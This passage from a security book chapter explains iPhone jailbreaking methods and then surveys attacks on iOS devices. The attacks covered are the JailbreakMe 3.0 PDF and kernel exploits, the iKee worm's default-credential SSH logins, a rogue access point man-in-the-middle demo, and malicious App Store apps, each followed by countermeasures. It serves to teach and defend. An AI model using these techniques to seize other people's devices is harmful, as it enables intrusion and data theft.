several tools available for free online or, in some cases, by simply visiting a particular 
website. The end result of a successful jailbreak is that you can tweak your iPhone with 
custom themes, install utility apps or extensions to apps, configure the device to allow 
remote access via SSH or VNC, install other arbitrary software, or even compile software 
directly on the device.

The fact that you can relatively easily liberate your device and use it to learn about 
the operating system, or just get more done, is certainly a good thing. Jailbreaking has 
some downsides, however, that you should keep in mind. First, there is always a sliver 
of doubt with regard to exactly what jailbreak software does to a device. The jailbreak 
process involves exploiting a series of vulnerabilities to take over a device. During this 
process, an attacker could insert or modify something relatively easily, without a user 
noticing. For well-known jailbreak applications, although this has never been observed, 
it is worth remembering. Alternatively, on at least one occasion, fake jailbreak software 
was released that was designed to tempt eager users looking to jailbreak versions of iOS 
for which no free/confirmed-working jailbreak had been released into installing the 
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software. Jailbroken phones may also lose some functionality, as vendors have been 
known to include checks in their apps that report errors or cause an app to exit on startup 
(iBooks is an example of this). Another important aspect of jailbreaking that you should 
consider is the fact that, as part of the process, code signature validation is disabled. This 
is one of a series of changes required for users to be able to run arbitrary code on their 
devices (one of the goals of jailbreaking). The downside to this is, of course, that unsigned 
malicious code is also able to run, increasing the risk to the user of just such a thing 
occurring. Otherwise, some potential exists for “bricking,” or rendering a device 
unusable, during the jailbreak process, and as jailbreaking voids a device’s warranty, 
there’s likely no way to bring the device back from the dead if this happens.

It is important to consider the pros and cons of jailbreaking. On the one hand, you 
end up with a device that can be leveraged to the fullest extent possible. On the other 
hand, you expose yourself to a variety of attack vectors that could lead to the compromise 
of your device. Few security-related issues have been reported affecting jailbroken 
phones, and, in general, the benefits of jailbreaking outweigh the risks. With that said, 
users should be cautious about jailbreaking devices on which sensitive information will 
be stored. For example, users should think twice before jailbreaking a primary phone 
that they use to store contact information or pictures or to take phone calls.

The jailbreak community has, in general, done more to advance the security of iOS than any other 
entity, perhaps with the exception of Apple. Providing unrestricted access to the platform has allowed 
substantial security research to be carried out and has helped drive the evolution of iOS’s security 
model from its early insecure state to where it is today. Thanks should be given to this community for 
their continued hard work and for their ability to impress, from a technical perspective, with the release 
of each new jailbreak.

Having covered what it means to jailbreak a device, what jailbreaking achieves, and 
the pros and cons to keep in mind when jailbreaking, let’s move on to the nitty-gritty. 
There are at least a few ways to jailbreak an iPhone. The first technique involves taking 
control of the device during the boot process and ultimately pushing a customized 
firmware image to the device. This technique can be used for older devices (iPhone 
3G/3GS/4G devices as well as the iPod 4G and iPad 1). The second technique can be 
described as an entirely remote technique; it involves loading a file onto a device that 
first exploits and takes control of a userland process, and then exploits and takes control 
of the kernel. This second case is best represented on the website jailbreakme.com, which, 
in the last few years, has been used to host multiple remote jailbreaks. A third technique 
was developed in early 2012 to accommodate more recent devices such as the iPhone 4S 
and iPad 2/3 running iOS version 5 and is commonly referred to as the corona or absinthe 
jailbreak. The most recent jailbreak, known as evasi0n, was released in 2013 to provide 
support for the iPhone 5, iPod 5G, iPad 4, and iPad mini running iOS version 6.x (thank 
you evad3r ��).).
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Boot-based Jailbreak
Let’s take a look at the boot-based jailbreak technique first. The general process for using 
this technique to jailbreak a device involves these steps:

 1. Obtain the fi rmware image (also known as an IPSW) that corresponds to the 
iOS version and device model that you want to jailbreak. Every device model 
has a different corresponding fi rmware image. For example, the fi rmware 
image for iOS 5.0 for an iPhone 4 is not the same as the one for an iPod 4. 
You must locate the correct fi rmware image for the particular device model. 
Firmware images are hosted on Apple download servers and can typically be 
located via a Google search. For example, if we search Google for “iPhone 4 
fi rmware 4.3.3”, the second result (at the time of this writing) includes a link to 
the following download location:

appldnld.apple.com/iPhone4/041-1011.20110503.q7fGc/iPhone3,1_4.3.3_8J2_
Restore.ipsw

   This is the IPSW needed to jailbreak iOS 4.3.3 for an iPhone 4 device.

These files tend to be large, so be sure to download them before you need them. We suggest storing 
a collection of IPSWs locally for the device models and iOS versions that you work with on a regular 
basis.

 2. Obtain the jailbreak software you’re going to use. You have several options 
available. A few of the most popular applications for this purpose include 
Redsn0w, greenpois0n, and limera1n.

 We’ll use Redsn0w in this section, which you can grab from the following 
location:

blog.iphone-dev.org/

 3. Connect the device to the computer hosting the jailbreak software via a 
standard USB cable.

 4. Launch the jailbreak application by clicking the Jailbreak button, as shown in 
Figure 3-1.

 5. Via the jailbreak application’s user interface, select the previously downloaded 
IPSW, as shown in Figure 3-2. The jailbreak software typically customizes the 
IPSW, and this process may take a few seconds.
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 6. Switch the device into Device Firmware Update (DFU) mode. To do this, power 
off the device. Once powered off, press and hold the power and home buttons 
simultaneously for 10 seconds. At the 10-second mark, release the power 
button, while continuing to press the home button. Hold the home button for 
an additional 5 to 10 seconds, after which you can release it. The device’s screen 
is not powered on when put into DFU mode, so it can be a bit challenging to 
determine whether the mode switch has actually occurred or not. Fortunately, 
jailbreak applications such as Redsn0w include a screen that walks the 

Figure 3-1 Launching the Redsn0w jailbreak app
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user through this process and that alerts the user when the device has been 
successfully switched into DFU mode, as shown in Figure 3-3.

  If you’re attempting to do this but have issues, search YouTube for assistance. 
There are a number of videos that visually walk you through the process of 
switching a device into DFU mode.

 7. Once the switch into DFU mode occurs, the jailbreak software automatically 
begins the jailbreak process. From here, wait until the process completes. This 
typically involves loading the fi rmware image onto the device, some interesting 
output to the device’s screen, followed by a reboot. After reboot, the device 
should launch in the same way as a normal iPhone, but with an exciting new 
addition to the “desktop”—Cydia. Cydia is shown in Figure 3-4.

Figure 3-2 Selecting the IPSW in Redsn0w
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The second-generation AppleTV can be jailbroken using a process similar to the one described in this 
section. An application frequently used for this purpose is FireCore’s Seas0nPass.

Remote Jailbreak
Boot-based jailbreaking is the bread and butter of gaining full access to a device. However, 
its technical requirements raise the bar slightly for the user attempting to perform the 
jailbreak. A user has to grab a firmware image, load it into the jailbreak application, and 
switch his or her device into DFU mode. This can present some challenges for the less 
technical among us. For the more technical, although this is not a huge hurdle to 

Figure 3-3 Redsn0w’s helpful “wizard” screens
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overcome, it can be slightly more time consuming than using what is known as a remote 
jailbreak. In the case of a remote jailbreak, such as that provided by jailbreakme.com, the 
process is as simple as loading a specially crafted PDF into the iPhone’s Mobile Safari 
web browser. The specially crafted PDF takes care of exploiting and taking control of the 
browser and then the operating system and ultimately for providing the user with 
unrestricted access to the device.

In July 2011, iOS hacker Nicholas Allegra (aka comex) released version 3.0 of a remote 
jailbreak technique for iOS 4.3.3 and earlier, via the website jailbreakme.com. This 
particular jailbreak technique has been dubbed “JailbreakMe 3.0,” or JBME3.0 for short. 
The process for jailbreaking a device using this technique only requires loading the 
website’s home page into Mobile Safari, as shown in Figure 3-5. Once at the home page, 
a user needs only to tap the install button, and presto, the device has been jailbroken.

This jailbreak technique was originally very handy but has become significantly less useful over time 
as it does not support more recent versions of iOS such as 5.x or 6.x.

Figure 3-4 Cydia—you’ve been jailbroken!
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corona/absinthe
Jailbreaking an iOS 5.x device with the corona/absinthe jailbreak tool is generally a piece 
of cake. The main prerequisite is to have a fourth-generation device such as an iPhone 4, 
iPod 4G or iPad1, or an iPhone 4S, iPad2, or iPad3 running iOS 5.1.1. You simply connect 
your device to your computer, launch the Absinthe app, click the Jailbreak button, and 
wait for the magic to happen, as shown in Figure 3-6!

Figure 3-5 The JailbreakMe 3.0 app

Figure 3-6 From left to right, Absinthe on startup, at completion, and with the addition of Cydia to 
the device’s SpringBoard
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evasi0n
The evasi0n jailbreak was released in early 2013. After nearly a year, evasi0n gave us the 
capability to jailbreak devices running iOS 6.x, including the iPhone 5, iPod 5, iPad 4, 
and iPad mini. Using evasi0n is similar to using other jailbreak tools. Connect your 
device, begin the jailbreak process, and wait for it to complete. One small difference is 
that about two-thirds of the way through the process, you have to unlock your device’s 
display and manually tap an icon one time to complete the jailbreak.

You can see the evasi0n app’s interface in Figure 3-7. You need only click the Jailbreak 
button to get things started.

In Figure 3-8, the user is prompted to unlock his or her device and tap the new 
Jailbreak icon (one time only!).

Figure 3-9 shows the Jailbreak icon that you need to tap. One tap is all it takes to 
continue with the jailbreaking process.

Finally, Figure 3-10 shows the evasi0n app’s interface indicating that the jailbreak has 
been completed successfully. At this point, you can unlock your device and scroll over to 
find the beloved Cydia icon!

Figure 3-7 The evasi0n app’s interface
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Figure 3-8 The evasi0n app prompting the user to tap the Jailbreak icon

Figure 3-9 Tapping the Jailbreak icon
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HACKING OTHER iPHONES: FURY, UNLEASHED!
Up to this point, we’ve talked about a number of things that we can do to unleash the full 
functionality of an iPhone through jailbreaking. Now let’s shift our attention in a new 
direction. Instead of focusing on how to hack into our own iPhone, let’s look into how 
we might go about hacking into someone else’s device.

In this section, we look at a variety of incidents, demos, and issues related to gaining 
access to iOS-based devices. We’ve seen that when targeting iOS, the options available 
for carrying out a successful attack are limited relative to other platforms. iOS has a 
minimal network profile, making remote network-based attacks largely inapplicable. 
Jailbroken devices when running older or misconfigured network services do face some 
risk when connected to the network. However, as jailbroken devices make up a somewhat 
small percentage of the total number of devices online, presence of these services can’t 
be relied on as a general method for attack. In some ways, iOS has followed the trend of 
desktop client operating systems such as Windows in disabling access to most or all 
network services by default. A major difference is that, unlike Windows, network services 
are not later reenabled for interoperability with file sharing or other services. This means 
that, for all intents and purposes, approaching iOS from the remote network-side to gain 
access is a difficult proposition.

Of course, an attacker has other options available, aside from traditional remote 
network-based attacks. Most of these options depend on some combination of exploiting 

Figure 3-10 All done! The user’s device is now jailbroken!
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client-side vulnerabilities, local network access, or physical access to a device. The 
viability of local network- or physical access–based attacks depends heavily on the target 
in question. Local network-based attacks can be useful if the goal is simply to affect any 
vulnerable system connected to the local network. Bringing a malicious WAP online at 
an airport, coffee shop, or any other point with heavy foot traffic where WiFi is frequently 
used could be one way to launch an attack of this sort. If a particular user or organization 
is the target, then an attacker first needs to gain remote access to the local network to 
which the target device is connected or, alternatively, be within physical proximity of the 
target user in order to connect to a shared, unsecured wireless network, or else lure the 
user into connecting to a malicious WAP. In both cases, the barrier to entry is high and 
the likelihood of success is reduced, as gaining remote access to a particular local network 
or luring a target user onto a specific wireless network is complicated at best.

An attacker with physical access to a device has a broader set of options available. 
With the capability to perform a boot-based jailbreak on some iPhone models, to access 
the file system, and to mount attacks against the keychain as well as other protective 
mechanisms, the likelihood of successfully extracting information from a device becomes 
higher. However, coming into physical possession of a device is a challenge as it implies 
physical proximity and theft. For these reasons, physical attacks on a device deserve 
serious consideration, given the fact that one’s own device could easily be lost or stolen, 
but they are somewhat impractical from the perspective of developing a general set of 
tools and methodologies for hacking into iOS-based devices.

The practical options left to an attacker generally come down to client-side attacks. 
Client-side attacks have been found time and again in apps bundled with iOS, in 
particular, in Mobile Safari. With the list of known vulnerabilities affecting these apps 
and other components, an attacker has at his or her disposal a variety of options from 
which to choose when targeting an iPhone for attack. The version of iOS running on a 
device plays a significant role as it relates to the ease with which a device can be owned. 
In general, the older the version of iOS, the easier it is to gain access. As far as launching 
attacks, methods available are similar to those for desktop operating systems, including 
hosting malicious files on web servers or delivering them via email. Attacks are not 
limited to apps bundled with iOS but can also be extended to third-party apps. 
Vulnerabilities found and reported in third-party apps serve to demonstrate that vectors 
for attack do exist beyond what ships by default with iOS. With the ever-growing number 
of apps available via the App Store, as well as via alternative markets such as the Cydia 
Store, it is reasonable to assume that app vulnerabilities and client-side attacks, in general, 
will continue to be one of the primary vectors for gaining initial access to iOS-based 
devices.

Gaining initial access to iOS by exploiting app vulnerabilities may meet an attacker’s 
requirements if his or her motive for the attack is to obtain information accessible within 
the app’s sandbox. If an attacker wants to gain full control over a device, then the barrier 
to entry increases significantly. The first step in this process, after having gained control 
over an app, is to break out of the sandbox by exploiting a kernel-level vulnerability. As 
kernel-level vulnerabilities are few and far between, and as the skill level required to 
find and groom these issues into reliable, working exploits is a capability that few 
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possess, we can say that breaking out of the sandbox with a new kernel-level exploit is 
much easier said than done. This is particularly the case when targeting iOS 6, as ASLR 
has been implemented in this version of the operating system at the kernel level as well, 
making the kernel even more difficult to attack. For most attackers, a more viable 
approach is simply to wait for exploits to appear and to repurpose them so they can 
target users during the period in which no update has been released to fix the vulnerability 
or to target users running older versions of iOS.

As a final note before we look at some specific attack examples, it’s worth mentioning 
that in comparison to other platforms, relatively few tools exist expressly for the purpose 
of gaining unauthorized access to iOS. The majority of security-related tools made 
available for iOS center around jailbreaking (which is effectively authorized activity, 
assuming it’s implemented by the device’s consenting owner or his/her delegate). Many 
of these tools can serve a dual purpose. For example, boot-based jailbreaks can be used 
to gain access to a device when an attacker has physical possession of it. Similarly, 
exploits picked up from jailbreakme.com, more recent jailbreaks, or other sources can be 
repurposed to gain access to devices connected to a network. In general, when targeting 
iOS for malicious purposes, an attacker is left to repurpose existing tools “for bad,” or to 
invest copious amounts of time developing new techniques and tools from scratch.

OK, now that we’ve taken the 50,000-foot view, let’s drill into some specific attack 
examples.

The JailbreakMe3.0 Vulnerabilities
We’ve already seen some of the most popular iOS attacks to date: the vulnerabilities 
exploited to jailbreak iPhones. Although these are generally exploited “locally” during 
the jailbreak process, there is nothing to stop enterprising attackers from exploiting 
similar vulnerabilities remotely—for example, by crafting a malicious document that 
contains an exploit capable of taking control of the application into which it is loaded. 
The document can then be distributed to users via a website, email, chat, or some other 
frequently used medium. In the PC world, this method of attack has served as the basis 
for a number of malware infections and intrusions in recent years. iOS, despite being 
fairly safe from remote network attack and despite boasting an advanced security 
architecture, has shown some weakness in dealing with these kinds of attacks as well.

The foundation for such an attack is best demonstrated by the JailbreakMe 3.0 (or 
JBME3.0) example discussed earlier in the chapter. There, you learned JBME3.0 exploits 
two vulnerabilities: one a PDF bug, the other a kernel bug. Apple’s security bulletin for 
iOS 4.3.4 (support.apple.com/kb/HT4802) gives us a bit more detail about the two 
vulnerabilities. The first issue, CVE-2011-0226, is described as a FreeType Type 1 Font–
handling bug that could lead to arbitrary code execution. The vector inferred is inclusion 
of a specially crafted Type 1 font into a PDF file, that when loaded leads to the 
aforementioned code execution. The second issue, CVE-2011-0227, is described as an 
invalid type conversion bug affecting IOMobileFrameBuffer that could lead to the 
execution of arbitrary code with system-level privileges.
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For an excellent write-up on the mechanics of CVE-2011-0226, take a look at esec-lab.sogeti.com/
post/Analysis-of-the-jailbreakme-v3-font-exploit.

The initial vector for exploitation is the loading of a specially crafted PDF into Mobile 
Safari. At this point, a vulnerability is triggered in code responsible for parsing the 
document, after which the exploit logic contained within the corrupted PDF is able to 
take control of the app. From this point, the exploit continues on to exploit a kernel-level 
vulnerability and, ultimately, to take full control of the device. For the casual user looking 
to jailbreak his or her iPhone, this is no big deal. However, for the security-minded 
individual, the fact that this is possible should raise some eyebrows. If the JBME3.0 
technique can leverage a pair of vulnerabilities to take full control of a device, what’s to 
stop a technique similar to this from being used for malicious purposes? For better or for 
worse, the answer is—not much.

Apple released iOS 4.3.4 in July 2011 to remedy the issues exploited by JBME3.0. Most devices are no 
longer running vulnerable versions of iOS (4.3.3 and below) and are not susceptible to this attack vector.

JBME3.0 Vulnerability Countermeasures
Despite our techie infatuation with jailbreaking, keeping your operating system and 
software updated with the latest patches is a security best practice, and jailbreaking 
makes that difficult or dicey on many fronts. One, you have to keep iOS vulnerable for 
the jailbreak to work, and two, once the system is jailbroken, you can’t obtain official 
updates from Apple that patch those vulnerabilities and any others subsequently 
discovered. Unless you’re willing to constantly re-jailbreak your phone every time a new 
update comes out, or get your patches from unofficial sources, we recommend you keep 
your device “stock” and install over-the-air iOS updates as soon as they become available 
(over-the-air update support was introduced with iOS 5.0.1). Also remember to update 
your apps regularly as well (you’ll see the notification bubble on the App Store when 
updates are available for your installed apps).

iKee Attacks!
The year: 2009. The place: Australia. You’ve recently purchased an iPhone 3GS and are 
eager to unlock its true potential. To this end, you connect your phone to your computer 
via USB, fire up your trusty jailbreak application and—click—you now have a jailbroken 
iPhone! Of course, the first thing to do is launch Cydia and then install OpenSSH. Why 
have a jailbroken phone if you can’t get to the command line, right? From this point, you 
continue to install your favorite tools and apps: vim, gcc, gdb, nmap, and so on. An 
interesting program appears on TV. You set your phone down to watch for a bit, forgetting 
to change the default password for the root account. Later you pick it up, swipe to unlock, 
and to your delight find that the wallpaper for your device has been changed to a mid-
1980s photo of the British pop singer Rick Astley (see Figure 3-11). You’ve just been 
rickrolled! Oh noes!

03-ch03.indd   65 6/19/2013   12:44:47 AM

http://www.esec-lab.sogeti.com/post/Analysis-of-the-jailbreakme-v3-font-exploit
http://www.esec-lab.sogeti.com/post/Analysis-of-the-jailbreakme-v3-font-exploit


66 Hacking Exposed: Mobile Security Secrets & Solutions 

In November 2009, the first worm targeting iOS was observed in the wild. This worm, 
known as iKee, functioned by scanning IP blocks assigned to telecom providers in the 
Netherlands and Australia. The scan logic was straightforward: identify devices with 
TCP port 22 open (SSH), and then attempt to log in with the default credentials “root” 
and “alpine” (which is the default login for jailbroken iPhones). Variants such as iKee.A 
took a few basic actions on login, such as disabling the SSH server that was used to gain 
access, changing the wallpaper for the phone, as well as making a local copy of the worm 
binary. From this point, infected devices were used to scan for and infect other devices. 
Later variants such as iKee.B introduced botnet-like functionality, including the capability 
to control infected devices remotely via a command and control channel.

iKee marked an interesting milestone in the history of security issues affecting the 
iPhone. It was and continues to be the first and only publicly released, clear-cut, non-
proof-of-concept example of malware successfully targeting iOS. Although it leveraged 
a basic configuration weakness, and although the functionality of early variants was 
relatively benign, it nonetheless served to demonstrate that iOS does face real-world 
threats and that it is, indeed, susceptible to attack.

You can obtain the source code for the iKee worm, as originally published in November of 2009, from 
pastie.org/693452.

While iKee proved that iOS can, under certain circumstances, be hacked into remotely, 
it doesn’t necessarily indicate an inherent vulnerability in iOS. In fact, the opposite is 

Figure 3-11 A device infected by the iKee worm
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probably a fairer case to make. iOS is a Unix-like operating system, related in architecture 
to Mac OS X. This means the platform can be attacked in a manner similar to how you 
would attack other Unix-like operating systems. Options for launching an attack include, 
but are not limited to, remote network attacks involving the exploitation of vulnerable 
network services; client-side attacks, including exploitation of vulnerable app 
vulnerabilities; local network attacks, such as man-in-the-middling (MiTM) of network 
traffic; and physical attacks that depend on physical access to a target device. Note, 
however, that certain iOS characteristics make some of these techniques less effective 
than for most other platforms.

For example, the network profile for a fresh out-of-the-box iPhone leaves very little 
to work with. Only one TCP port, 62087, is left open. No known attacks have been found 
for this service, and although this is not to say that none will ever be found, it is safe to 
say that the overall network profile for iOS is quite minimal. In practice, gaining 
unauthorized access to an iPhone (that has not been jailbroken) from a remote network 
is close to impossible. None of the standard services that we’re accustomed to targeting 
during pen tests, such as SSH, HTTP, and SMB, are to be found, leaving little in terms of 
an attack surface. Hats off to Apple for providing a secure configuration for the iPhone 
in this regard.

A few remote vulnerabilities have been seen, including one related to handling ICMP requests that 
could cause a device reset (CVE-2009-1683) and another identified by Charlie Miller in iOS’s 
processing of SMS (text) messages (CVE-2009-2204). Other potential areas for exploitation that may 
gain more attention in the future include Bonjour support on the local network and other radio 
interfaces on the device, including baseband, the Wi-Fi driver, Bluetooth, and so on.

Remember, however, mobile devices can be attacked remotely via their IP network interface, as well 
as their cellular network interface.

Of course, there are variables that affect iOS’s vulnerability to remote network attack. 
If a device is jailbroken and if services such as SSH have been installed, then the attack 
surface is increased (as iKee aptly demonstrates). User-installed apps may also listen on 
the network, further increasing the risk of remote attack. However, as they are generally 
only executed for short periods of time, they are not a reliable means for gaining remote 
access to a device. This could change in the future, as only a limited amount of research 
has been published related to app vulnerabilities exploitable from the network side and 
as there may be useful vulnerabilities still to be found.

Statistics published in 2009 by Pinch Media indicate that between 5 and 10 percent of users had 
jailbroken their devices. A post to the iPhone dev-team blog in January 2012 indicated that nearly 
1 million iPad2 and iPhone 4S (A5) users had jailbroken their devices in the three days following the 
release of the first jailbreak for that hardware platform. Data published by TechCrunch in early 2013 
indicates that there are about 22-million jailbroken device users actively using Cydia, which can be 
interpreted to be about 5 percent of the total iOS user base.
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iKee Worm/SSH Default Credentials Countermeasures
The iKee Worm was at its root only possible because of misconfigured jailbroken iPhones 
being connected to the network. The first and most obvious countermeasure to an attack 
of this sort is: don’t jailbreak your iPhone! OK, if you must, change the default credentials 
for a jailbroken device immediately after installing SSH—and only while connected to a 
trusted network. In addition, network services like SSH should only be enabled when 
they are needed. Utilities such as SBSettings can be installed and used to enable or disable 
features like SSH quickly and easily from the Springboard. Otherwise, for jailbroken 
devices in general, upgrade to the latest jailbreakable version of iOS when possible, and 
install patches for vulnerabilities provided by the community as soon as practicable.

The FOCUS 11 Man-in-the-Middle Attack
In October 2011, at the McAfee FOCUS 11 conference held in Las Vegas, Stuart McClure 
and the McAfee TRACE team demonstrated a series of hacks that included the live hack 
of an iPad. The attack performed involved setting up a MacBook Pro laptop with two 
wireless network interfaces and then configuring one of the interfaces to serve as a 
malicious wireless access point (WAP). The WAP was given an SSID similar to the SSID 
for the conference’s legitimate WAP. They did this to show that users could easily be 
tricked into connecting to the malicious WAP.

The laptop was then configured to route all traffic from the malicious WAP through 
to the legitimate WAP. This gave tools running on the laptop the capability to man-in-
the-middle traffic sent to or from the iPad. To make things a bit more interesting, support 
was added for man-in-the-middle of SSL connections, through an exploit for the CVE-
2011-0228 X.509 certificate chain validation vulnerability, as reported by Trustwave 
SpiderLabs.

With this setup in place, the iPad was used to browse to Gmail over SSL. Gmail was 
loaded into the iPad’s browser, but with a new addition to the familiar interface—an 
iframe containing a link to a PDF capable of silently rooting the device, as shown in 
Figure 3-12. The PDF loaded was the same as the JBME3.0 PDF, but it was modified to 
avoid observable changes to the Springboard, such as the addition of the Cydia icon. The 
PDF was then used to load a custom freeze.tar.xz file, containing the post-jailbreak file 
and corresponding packages required to install SSH and VNC on the device.

The FOCUS 11 hack was designed to drive a couple of points home. Some people 
have the impression that the iPhone, or iPad in this case, is safe from attack. The demo 
was designed to underscore the fact that this is not the case and that it is possible to gain 
unauthorized access to iOS-based devices. The hack combined exploitation of the client-
side vulnerabilities used by the JBME3.0 technique with an SSL certificate validation 
vulnerability and a local network-based attack to demonstrate that not only can iOS be 
hacked, but it can also be hacked in a variety of ways. In other words, breaking iOS is not 
a one-time thing, nor are there are only a few limited options or ways to go about it; 
rather sophisticated attacks involving the exploitation of multiple vulnerabilities are 
possible. Finally, the malicious WAP scenario demonstrated that the attack was not 
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theoretical but rather quite practical. The same setup is something that could be easily 
reproduced, and the overall attack scenario is something that could be carried out in the 
real world.

FOCUS 11 Countermeasures
The FOCUS 11 attack leveraged a set of vulnerabilities and a malicious WAP to gain 
unauthorized access to a vulnerable device. The fact that several basic operating system 
components were subverted leaves little in the way of technical countermeasures that 
could have been implemented to prevent the attack.

The first step to take to prevent this particular attack is to update your device and to 
keep it up to date, as outlined in “JBME3.0 Vulnerability Countermeasures.” Another 
simple countermeasure is to configure your iOS device to Ask To Join Networks, as 
shown in Figure 3-13. Your device will already join known networks automatically, but 
you will be asked to join new, unknown networks, which at least gives you a chance to 
decide if you want to connect to a potentially malicious network. Yes, the FOCUS11 hack 
used a WiFi network name that looked “friendly”; perhaps a corollary piece of advice is: 
don’t connect to unknown wireless networks. The likelihood of anyone actually following 
that advice nowadays is, of course, near zero (how else are you going to check Facebook 
while at Starbucks?!?), but hey, we warned you!

Figure 3-12 A fake man-in-the-middle Gmail login page rendered on an iPhone with a JBME3.0 
PDF embedded via iframe to “silently” root the device
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Assuming network connectivity is likely irresistible on a mobile device, defending 
against this sort of attack ultimately boils down to evaluating the value of data stored on 
a device. For example, if a device will never process sensitive data, or be placed in the 
position of having access to such data, then there is little risk from a compromise. As 
such, connecting to untrusted wireless networks and accessing the Web or other resources 
is basically fine. For a device that processes sensitive data, or that could be used as a 
launching point for attacks against systems that store or process sensitive data, much 
greater care should be taken. Of course, keeping sensitive data completely off a mobile 
device can be harder than we’ve laid out here; email, apps, and web browsing are just a 
few examples of channels through which sensitive data can “leak” onto a system.

In any case, the FOCUS 11 demo showed that by simply connecting to a wireless 
network and browsing to a web page it was possible to take complete control of a device. 
This was possible even over SSL. As such, users should register the fact that this can 
happen and should judge carefully what networks they connect to, to avoid putting their 
devices or sensitive information at risk.

Malicious Apps: Handy Light, InstaStock
Other client-side methods can, of course, be used to gain unauthorized access to iOS. 
One of the most obvious, yet more complicated, methods of attack involves tricking a 
user into installing a malicious app onto his or her device. The challenge in this case is 

Figure 3-13 Setting an iPhone to Ask To Join Networks
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not only limited to tricking the user, but also involves working around Apple’s app 
distribution model. Earlier in the chapter, we mentioned that iOS added support for 
installing third-party apps shortly after introducing the iPhone. Apple chose to implement 
this as a strictly controlled ecosystem, whereby all apps must be signed by Apple and 
can only be distributed and downloaded from the official App Store. For an app to be 
made available on the App Store, it must first be submitted to Apple for review. If issues 
are found during the review process, the submission is rejected, after which point it’s 
simply not possible to distribute the app (at least, to non-jailbroken iPhone users).

Apple does not publicly document all of the specifics of their review process. As 
such, there is a lack of clarity in terms of what it checks when reviewing an app. In 
particular, there is little information on what checking is done to determine whether or 
not an app is malicious. It is true that little in the way of “malware” has made it to release 
on the App Store. A few apps leaking sensitive information such as telephone numbers, 
contact information, or other device or user-specific information have been identified 
and pulled from sale. This might lead you to think that although the details of the review 
process are unknown, that it must be effective; otherwise, we would be seeing reports of 
malware on a regular basis. This might be a reasonable conclusion, if not for a few real-
world examples that call into question the effectiveness of the review process from a 
security perspective, as well as the overall idea that malware can’t be or is not already 
present on the App Store.

In mid-2010, a new app named Handy Light was submitted to Apple for review, 
passed the review process, and was later posted to the App Store for sale. This app 
appeared on the surface to be a simple flashlight app, with a few options for selecting the 
color of the light to be displayed. Shortly after release, it was discovered that the Handy 
Light app included a hidden tethering feature. This feature allowed users to tap the 
flashlight color options in a particular order that then launched a SOCKS proxy server on 
the phone that could be used to tether a computer to the phone’s cellular Internet 
connection. Once the presence of this feature became public, Apple removed the app 
from sale. Apple did this because it does not allow apps that include support for tethering 
to be posted to the App Store.

What’s interesting in all of this is that Apple, after having reviewed Handy Light, 
approved the app despite the fact that it included the tethering feature. Why did Apple 
do this? We have to assume that because the tethering functionality was hidden, that it 
was simply missed during the review process. Fair enough, mistakes happen. However, 
if functionality such as tethering can be hidden and slipped by the review process—
what’s to stop other, more malicious functionality from being hidden and slipped by the 
review process as well?

In September 2011, well-known iOS hacker Charlie Miller submitted an app 
named InstaStock to Apple for review. The app was reviewed, approved, and then 
posted to the App Store for download. InstaStock ostensibly allowed users to track 
stock tickers in real time and was reportedly downloaded by several hundred users. 
Hidden within InstaStock, however, was logic designed to exploit a 0-day vulnerability 
in iOS that allowed the app to load and execute unsigned code. Owing to iOS’s 
runtime code signature validation, this should not have been possible. However, 
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with iOS 4.3, Apple introduced the functionality required for InstaStock to work its 
magic. In effect, Apple introduced the ability for unsigned code to be executed under 
a very limited set of circumstances. In theory, this capability was only for Mobile 
Safari and only for the purpose of enabling Just in Time (JIT) compilation of JavaScript. 
As it turns out, an implementation error made this capability available to all apps, 
not just Mobile Safari. This vulnerability, now documented as CVE-2011-3442, made 
it possible for the InstaStock app to call the mmap system call with a particular set of 
flags, ultimately resulting in the capability to bypass code signature validation. 
Given the capability to execute unsigned code, the InstaStock app was able to connect 
back to a command and control server, to receive and execute commands, and to 
perform a variety of actions such as downloading images and contact information 
from “infected” devices. Figure 3-14 shows the InstaStock app.

In terms of attacking iOS, the Handy Light and InstaStock apps provide us with 
proof that mounting an attack via the App Store is, although not easy, also not impossible. 
There are many unknowns related to this type of attack. It must be assumed that Apple 
is working to improve its review process, and that as time passes, it will become more 
difficult to successfully hide malicious functionality. It is also unclear what exactly can be 
slipped past the process. In the case of the InstaStock app, as a previously unknown 
vulnerability was leveraged, there was most likely little in the way of observably 
malicious code included in the app that was submitted for review. Absent a 0-day, more 
code would need to be included directly in the app, making it more likely that the app 
would be flagged during the review process and then rejected.

An attacker could go through this trouble, and might do so if his or her goal is simply 
to gain access to as many devices as possible. The imprecise but broad distribution of 

Figure 3-14 The InstaStock app written by Charlie Miller, which hid functionality to execute arbitrary 
code on iOS
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apps available on the App Store could prove to be a tempting vector for spreading 
malicious apps. However, if an attacker were interested in targeting a particular user, 
then attacking via the App Store would become a more complex proposition. The attacker 
would have to build a malicious app, slip it past the review process, and then find a way 
to trick the target user into installing the app on his or her device. An attacker could 
combine some social engineering, perhaps by pulling data from the user’s Facebook 
page and then building an app tailored to the target’s likes and dislikes. The app could 
then be posted for sale, with an itms:// link being sent to the intended target via a 
Facebook wall post. It doesn’t require much effort to dream up a number of such 
scenarios, making it likely that we’ll see something similar to all of this in the not-too-
distant future.

App Store Malware Countermeasures
The gist of the Handy Light and InstaStock examples is that unwanted or malicious 
behavior can be slipped past review and onto Apple’s App Store. Although Apple would 
surely prefer this not to be the case, and would most likely prefer that people not consider 
themselves to be at risk because of what they download from the App Store, nonetheless, 
some level of risk is present. As in the FOCUS 11 case, countermeasures or protections 
that can be put in place related to unwanted or malicious apps hosted on the App Store 
are few to none. As Apple does not allow security products that integrate with the 
operating system to be installed on devices, no vendors have yet found a way to develop 
and bring such products to market. Furthermore, few products or tools have been 
developed for iOS security in general (for use on-device, the network, or otherwise), 
owing to the low number of incidents and the complexity of successfully integrating 
such products into the iOS “ecosystem.” This means that, for the most part, you can’t 
protect yourself from malicious apps hosted on the App Store, apart from careful 
consideration when purchasing and installing apps. A user can feel relatively comfortable 
that most apps are safe, as next to no malware has been found and published to date. 
Apps from reputable vendors are also likely to be safe and can most likely be installed 
without issue. For users who store highly sensitive data on their devices, it is recommended 
that apps be installed only when truly necessary, and only from trustworthy vendors, to 
whatever degree possible. Otherwise, install the latest firmware when possible, as new 
firmware versions often resolve issues that could be used by malware to gain elevated 
privileges on a device (for example, the JBME3.0 kernel exploit or the InstaStock unsigned 
code execution issue).

Vulnerable Apps: Bundled and Third Party
In the early 2000s, the bread-and-butter technique for attackers was remote exploitation 
of vulnerable network service code. On an almost weekly basis, it seemed like a new 
remote execution bug was discovered in some popular Unix or Windows network 
service. During this time, consumer operating systems such as Windows XP shipped 
